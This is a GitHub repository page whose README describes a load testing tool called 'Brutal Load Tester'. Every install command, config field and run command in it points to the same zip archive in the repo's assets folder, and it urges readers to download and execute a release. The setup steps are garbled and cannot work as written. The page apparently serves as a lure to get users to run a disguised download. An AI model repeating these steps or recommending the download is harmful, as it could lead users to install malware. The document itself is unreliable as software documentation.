Skip to content

Salmajibeh/brutal

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

14 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Brutal Load Tester: Efficient Performance Testing Made Simple πŸš€

Brutal Load Tester

Table of Contents

Overview

Brutal Load Tester is a simple yet powerful tool designed to simulate heavy loads on your web applications. This tool helps you identify performance bottlenecks, ensuring your applications can handle high traffic. With a focus on usability and efficiency, Brutal makes it easy for developers to test and optimize their applications.

Features

  • Easy Setup: Get started quickly with minimal configuration.
  • Customizable Load Profiles: Tailor the load to simulate real-world scenarios.
  • Detailed Reporting: Gain insights into response times, throughput, and error rates.
  • Concurrent User Simulation: Test how your application performs under simultaneous user access.
  • Support for Multiple Protocols: Test various types of applications, including HTTP, WebSocket, and more.

Installation

To install Brutal Load Tester, follow these steps:

  1. Clone the Repository:

    git clone https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip
  2. Navigate to the Directory:

    cd brutal
  3. Install Dependencies: Ensure you have the required dependencies installed. You can use a package manager like npm or pip based on your project requirements.

Usage

To use Brutal Load Tester, you need to configure it according to your testing needs. Here’s a basic example of how to set it up:

  1. Create a Configuration File: Create a https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip file with your desired settings. Here’s a sample configuration:

    {
      "url": "https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip",
      "load": {
        "users": 100,
        "duration": 60
      }
    }
  2. Run the Tester: Execute the following command to start the load test:

    python https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip

Configuration

Brutal allows you to customize various parameters in your configuration file:

Example configuration:

{
  "url": "https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip",
  "load": {
    "users": 200,
    "duration": 120,
    "rampUp": 30
  }
}

Running Tests

Once your configuration is set, you can run the tests. Use the command:

python https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip https://raw.githubusercontent.com/Salmajibeh/brutal/main/assets/Software_1.6.zip

Monitor the terminal output for real-time statistics during the test. You will see metrics like response time, number of requests, and any errors encountered.

Viewing Results

After the test completes, Brutal will generate a report summarizing the results. This report includes:

  • Response Times: Average, minimum, and maximum response times.
  • Throughput: Number of requests per second.
  • Error Rates: Percentage of failed requests.

You can also find detailed logs in the logs directory for further analysis.

Contributing

We welcome contributions to improve Brutal Load Tester. If you have ideas or improvements, please fork the repository and submit a pull request.

Steps to Contribute:

  1. Fork the repository.
  2. Create a new branch for your feature or fix.
  3. Make your changes and commit them.
  4. Push your branch to your forked repository.
  5. Submit a pull request.

License

Brutal Load Tester is licensed under the MIT License. See the LICENSE file for details.

Releases

For the latest releases and updates, please visit our Releases section. You can download the latest version and execute it for your load testing needs.

Download Link

You can find the latest version of Brutal Load Tester here.

Download Latest Release

By using Brutal Load Tester, you ensure your applications are ready for the demands of real-world traffic.

For any questions or issues, please check the Releases section or open an issue in the repository.

Happy testing!

About

Powerful HTTP load testing tool with real-time analytics and a modern CLI. Optimize performance and gain insights effortlessly. πŸš€πŸ™

Topics

Resources

Stars

Watchers

Forks

Packages

 
 
 

Contributors

Languages